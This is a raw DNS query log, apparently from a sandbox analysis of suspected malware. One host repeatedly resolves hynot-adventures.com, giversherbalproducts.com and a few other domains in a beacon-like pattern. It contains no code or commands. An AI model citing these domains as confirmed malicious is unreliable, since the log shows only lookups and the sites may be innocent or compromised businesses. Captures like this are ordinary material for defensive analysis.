Oct 4, 2021 16:03:29.224791050 CEST	192.168.2.3	8.8.8.8	0xb56e	Standard query (0)	surveillantfire.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:29.729206085 CEST	192.168.2.3	8.8.8.8	0x9f28	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:29.753537893 CEST	192.168.2.3	8.8.8.8	0x9bd6	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:30.009874105 CEST	192.168.2.3	8.8.8.8	0x453a	Standard query (0)	dhananialegalaid.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:30.603427887 CEST	192.168.2.3	8.8.8.8	0x3958	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:30.627358913 CEST	192.168.2.3	8.8.8.8	0x89dd	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:31.004956961 CEST	192.168.2.3	8.8.8.8	0x7ac9	Standard query (0)	aulaintelimundo.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:31.502818108 CEST	192.168.2.3	8.8.8.8	0x6ef0	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:31.526377916 CEST	192.168.2.3	8.8.8.8	0xe06f	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:31.763426065 CEST	192.168.2.3	8.8.8.8	0x9285	Standard query (0)	muwatin.net	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:32.412625074 CEST	192.168.2.3	8.8.8.8	0xfaeb	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:32.432877064 CEST	192.168.2.3	8.8.8.8	0xfa93	Standard query (0)	nkp.hr	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:32.437840939 CEST	192.168.2.3	8.8.8.8	0x72ce	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:33.100756884 CEST	192.168.2.3	8.8.8.8	0x64c9	Standard query (0)	kvrassociates.net	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:33.347239971 CEST	192.168.2.3	8.8.8.8	0xba23	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:33.371409893 CEST	192.168.2.3	8.8.8.8	0xd053	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:34.156574011 CEST	192.168.2.3	8.8.8.8	0x7598	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:34.184824944 CEST	192.168.2.3	8.8.8.8	0x7395	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:34.615624905 CEST	192.168.2.3	8.8.8.8	0x3ac2	Standard query (0)	marianaleyton.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:35.058803082 CEST	192.168.2.3	8.8.8.8	0xce2	Standard query (0)	profitshub.in	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:35.076076984 CEST	192.168.2.3	8.8.8.8	0xcc30	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:35.101042032 CEST	192.168.2.3	8.8.8.8	0xe477	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:35.753171921 CEST	192.168.2.3	8.8.8.8	0x55fd	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:35.778426886 CEST	192.168.2.3	8.8.8.8	0x396f	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:35.948941946 CEST	192.168.2.3	8.8.8.8	0x2d92	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:35.973539114 CEST	192.168.2.3	8.8.8.8	0x31ae	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:36.696830988 CEST	192.168.2.3	8.8.8.8	0xcd4e	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:36.726880074 CEST	192.168.2.3	8.8.8.8	0xeab6	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:36.750840902 CEST	192.168.2.3	8.8.8.8	0x79c	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:36.774780989 CEST	192.168.2.3	8.8.8.8	0xcfab	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:37.647303104 CEST	192.168.2.3	8.8.8.8	0x738c	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:37.671214104 CEST	192.168.2.3	8.8.8.8	0x1a3a	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:38.440748930 CEST	192.168.2.3	8.8.8.8	0x1c1c	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:38.468713045 CEST	192.168.2.3	8.8.8.8	0x3e2f	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:39.447895050 CEST	192.168.2.3	8.8.8.8	0x1d7e	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:39.471312046 CEST	192.168.2.3	8.8.8.8	0x3960	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:40.245841980 CEST	192.168.2.3	8.8.8.8	0xcd6d	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:40.270278931 CEST	192.168.2.3	8.8.8.8	0x74bd	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:41.159689903 CEST	192.168.2.3	8.8.8.8	0xaf86	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:41.183238983 CEST	192.168.2.3	8.8.8.8	0x3bab	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:42.104850054 CEST	192.168.2.3	8.8.8.8	0x2ffc	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:42.130796909 CEST	192.168.2.3	8.8.8.8	0xdc49	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:42.343103886 CEST	192.168.2.3	8.8.8.8	0xf7e	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:42.996077061 CEST	192.168.2.3	8.8.8.8	0x6c90	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:43.020767927 CEST	192.168.2.3	8.8.8.8	0xe709	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:43.369364977 CEST	192.168.2.3	8.8.8.8	0xd579	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:44.298472881 CEST	192.168.2.3	8.8.8.8	0x56d7	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:45.187581062 CEST	192.168.2.3	8.8.8.8	0x9470	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:45.971384048 CEST	192.168.2.3	8.8.8.8	0xd470	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:46.950608015 CEST	192.168.2.3	8.8.8.8	0x11cf	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:47.809072971 CEST	192.168.2.3	8.8.8.8	0x1587	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:48.799498081 CEST	192.168.2.3	8.8.8.8	0x7a11	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:49.403592110 CEST	192.168.2.3	8.8.8.8	0xfc21	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:49.426347971 CEST	192.168.2.3	8.8.8.8	0x7571	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:51.551198006 CEST	192.168.2.3	8.8.8.8	0x8885	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:51.556838989 CEST	192.168.2.3	8.8.8.8	0xd2dc	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:51.579977989 CEST	192.168.2.3	8.8.8.8	0xbdd3	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:52.368519068 CEST	192.168.2.3	8.8.8.8	0xf080	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:52.392251968 CEST	192.168.2.3	8.8.8.8	0x69fd	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:52.488945007 CEST	192.168.2.3	8.8.8.8	0xbe74	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:53.251637936 CEST	192.168.2.3	8.8.8.8	0x980a	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:53.274490118 CEST	192.168.2.3	8.8.8.8	0xded9	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:53.400383949 CEST	192.168.2.3	8.8.8.8	0x4153	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:54.163156986 CEST	192.168.2.3	8.8.8.8	0xb384	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:54.188303947 CEST	192.168.2.3	8.8.8.8	0x456	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:54.330427885 CEST	192.168.2.3	8.8.8.8	0x177e	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:55.048142910 CEST	192.168.2.3	8.8.8.8	0x9b6d	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:55.070519924 CEST	192.168.2.3	8.8.8.8	0x3e84	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:55.136583090 CEST	192.168.2.3	8.8.8.8	0x59c9	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:55.877393007 CEST	192.168.2.3	8.8.8.8	0xa3de	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:55.898246050 CEST	192.168.2.3	8.8.8.8	0xbc50	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:56.038435936 CEST	192.168.2.3	8.8.8.8	0x3ecd	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:56.918205023 CEST	192.168.2.3	8.8.8.8	0xba03	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:56.923293114 CEST	192.168.2.3	8.8.8.8	0x9d90	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:56.945597887 CEST	192.168.2.3	8.8.8.8	0xc3f2	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:57.810072899 CEST	192.168.2.3	8.8.8.8	0x91e2	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:57.817905903 CEST	192.168.2.3	8.8.8.8	0xbd3f	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:57.839199066 CEST	192.168.2.3	8.8.8.8	0x77cf	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:58.597063065 CEST	192.168.2.3	8.8.8.8	0x2a0d	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:58.818078041 CEST	192.168.2.3	8.8.8.8	0x7981	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:58.842144012 CEST	192.168.2.3	8.8.8.8	0xf5d8	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:59.441752911 CEST	192.168.2.3	8.8.8.8	0x11aa	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:59.656775951 CEST	192.168.2.3	8.8.8.8	0xc288	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:59.679713964 CEST	192.168.2.3	8.8.8.8	0xb329	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:00.270576954 CEST	192.168.2.3	8.8.8.8	0xe30c	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:00.576469898 CEST	192.168.2.3	8.8.8.8	0xe042	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:00.597968102 CEST	192.168.2.3	8.8.8.8	0x4791	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:01.189821959 CEST	192.168.2.3	8.8.8.8	0xe5a8	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:01.359738111 CEST	192.168.2.3	8.8.8.8	0x1ab0	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:01.384588003 CEST	192.168.2.3	8.8.8.8	0x7f9	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:01.990559101 CEST	192.168.2.3	8.8.8.8	0xc369	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:02.259001970 CEST	192.168.2.3	8.8.8.8	0xb0cc	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:02.284574986 CEST	192.168.2.3	8.8.8.8	0xa37a	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:02.928951979 CEST	192.168.2.3	8.8.8.8	0x7d88	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:03.183706045 CEST	192.168.2.3	8.8.8.8	0xd98c	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:03.208477020 CEST	192.168.2.3	8.8.8.8	0xee06	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:04.029144049 CEST	192.168.2.3	8.8.8.8	0xaf39	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:04.035763979 CEST	192.168.2.3	8.8.8.8	0x89c	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:04.062900066 CEST	192.168.2.3	8.8.8.8	0x6fe5	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:04.824037075 CEST	192.168.2.3	8.8.8.8	0x6702	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:04.847351074 CEST	192.168.2.3	8.8.8.8	0xf7d4	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:04.911325932 CEST	192.168.2.3	8.8.8.8	0x3494	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:05.618493080 CEST	192.168.2.3	8.8.8.8	0x1271	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:05.651684046 CEST	192.168.2.3	8.8.8.8	0x1ddd	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:05.807867050 CEST	192.168.2.3	8.8.8.8	0x8f7b	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:06.572865009 CEST	192.168.2.3	8.8.8.8	0x5901	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:06.598988056 CEST	192.168.2.3	8.8.8.8	0xed64	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:06.708015919 CEST	192.168.2.3	8.8.8.8	0x796e	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:07.513345003 CEST	192.168.2.3	8.8.8.8	0xdc99	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:07.537362099 CEST	192.168.2.3	8.8.8.8	0xeea6	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:07.712240934 CEST	192.168.2.3	8.8.8.8	0x3fa5	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:08.311162949 CEST	192.168.2.3	8.8.8.8	0x5c63	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:08.334405899 CEST	192.168.2.3	8.8.8.8	0x1b9a	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:08.587702036 CEST	192.168.2.3	8.8.8.8	0x6a99	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:09.135926008 CEST	192.168.2.3	8.8.8.8	0x37ca	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:09.160139084 CEST	192.168.2.3	8.8.8.8	0xde74	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:09.379868984 CEST	192.168.2.3	8.8.8.8	0x5c97	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:09.977193117 CEST	192.168.2.3	8.8.8.8	0xe02a	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:10.004854918 CEST	192.168.2.3	8.8.8.8	0xb18a	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:10.179100990 CEST	192.168.2.3	8.8.8.8	0x7b8a	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:10.778280973 CEST	192.168.2.3	8.8.8.8	0xe12c	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:10.806139946 CEST	192.168.2.3	8.8.8.8	0xec7d	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:10.968496084 CEST	192.168.2.3	8.8.8.8	0xc1f2	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:11.727606058 CEST	192.168.2.3	8.8.8.8	0x10c1	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:11.737026930 CEST	192.168.2.3	8.8.8.8	0xd376	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:11.749547958 CEST	192.168.2.3	8.8.8.8	0x8f19	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:12.524199009 CEST	192.168.2.3	8.8.8.8	0x9d6	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:12.590976000 CEST	192.168.2.3	8.8.8.8	0x7de1	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:12.613729000 CEST	192.168.2.3	8.8.8.8	0x4d1f	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:13.411874056 CEST	192.168.2.3	8.8.8.8	0xe356	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:13.480362892 CEST	192.168.2.3	8.8.8.8	0xd6d0	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:13.505755901 CEST	192.168.2.3	8.8.8.8	0x35f2	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:14.304143906 CEST	192.168.2.3	8.8.8.8	0xbf13	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:14.342147112 CEST	192.168.2.3	8.8.8.8	0xaa8b	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:14.364161015 CEST	192.168.2.3	8.8.8.8	0x78e7	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:15.165131092 CEST	192.168.2.3	8.8.8.8	0x79e5	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:15.251596928 CEST	192.168.2.3	8.8.8.8	0x2981	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:15.273112059 CEST	192.168.2.3	8.8.8.8	0xdfb5	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:16.089916945 CEST	192.168.2.3	8.8.8.8	0xbafc	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:16.207937002 CEST	192.168.2.3	8.8.8.8	0x4929	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:16.235723972 CEST	192.168.2.3	8.8.8.8	0x90c6	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:16.980772972 CEST	192.168.2.3	8.8.8.8	0x138e	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:17.037995100 CEST	192.168.2.3	8.8.8.8	0x1e11	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:17.058794022 CEST	192.168.2.3	8.8.8.8	0xdeec	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:17.780666113 CEST	192.168.2.3	8.8.8.8	0xbaa8	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:17.798890114 CEST	192.168.2.3	8.8.8.8	0xecbd	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:17.826400995 CEST	192.168.2.3	8.8.8.8	0x1503	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:18.743588924 CEST	192.168.2.3	8.8.8.8	0x4fce	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:18.755757093 CEST	192.168.2.3	8.8.8.8	0x26ab	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:18.769524097 CEST	192.168.2.3	8.8.8.8	0xec2e	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:19.597687960 CEST	192.168.2.3	8.8.8.8	0xf067	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:19.621177912 CEST	192.168.2.3	8.8.8.8	0x957	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:19.752636909 CEST	192.168.2.3	8.8.8.8	0x1dd8	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:20.483763933 CEST	192.168.2.3	8.8.8.8	0x9f71	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:20.511722088 CEST	192.168.2.3	8.8.8.8	0xa03	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:20.678498030 CEST	192.168.2.3	8.8.8.8	0x51eb	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:21.413635015 CEST	192.168.2.3	8.8.8.8	0x79cc	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:21.437304974 CEST	192.168.2.3	8.8.8.8	0x6704	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:21.596893072 CEST	192.168.2.3	8.8.8.8	0x8f01	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:22.198025942 CEST	192.168.2.3	8.8.8.8	0xe7cf	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:22.220596075 CEST	192.168.2.3	8.8.8.8	0xc7a9	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:22.385710001 CEST	192.168.2.3	8.8.8.8	0x5d84	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:23.287822962 CEST	192.168.2.3	8.8.8.8	0x3944	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:23.324851990 CEST	192.168.2.3	8.8.8.8	0x52d6	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:23.727653027 CEST	192.168.2.3	8.8.8.8	0xb7e9	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:25.170906067 CEST	192.168.2.3	8.8.8.8	0x70d6	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:25.232775927 CEST	192.168.2.3	8.8.8.8	0x41d9	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:25.703762054 CEST	192.168.2.3	8.8.8.8	0x127f	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:26.125993967 CEST	192.168.2.3	8.8.8.8	0xbe7b	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:26.149849892 CEST	192.168.2.3	8.8.8.8	0xa7cf	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:26.826489925 CEST	192.168.2.3	8.8.8.8	0x37b7	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:27.100308895 CEST	192.168.2.3	8.8.8.8	0xd2f5	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:27.128850937 CEST	192.168.2.3	8.8.8.8	0x1d1b	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:27.620666981 CEST	192.168.2.3	8.8.8.8	0xbd7a	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:28.121732950 CEST	192.168.2.3	8.8.8.8	0x575b	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:28.148041010 CEST	192.168.2.3	8.8.8.8	0x9542	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:28.485234022 CEST	192.168.2.3	8.8.8.8	0x1be3	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:28.975575924 CEST	192.168.2.3	8.8.8.8	0x24c8	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:29.272521973 CEST	192.168.2.3	8.8.8.8	0x90f	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:29.836146116 CEST	192.168.2.3	8.8.8.8	0x3ea7	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:30.162936926 CEST	192.168.2.3	8.8.8.8	0x6e41	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:30.650135994 CEST	192.168.2.3	8.8.8.8	0x3235	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:31.134347916 CEST	192.168.2.3	8.8.8.8	0xe04b	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:31.450414896 CEST	192.168.2.3	8.8.8.8	0x2754	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:31.948719978 CEST	192.168.2.3	8.8.8.8	0x85e2	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:32.454287052 CEST	192.168.2.3	8.8.8.8	0x9c6b	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
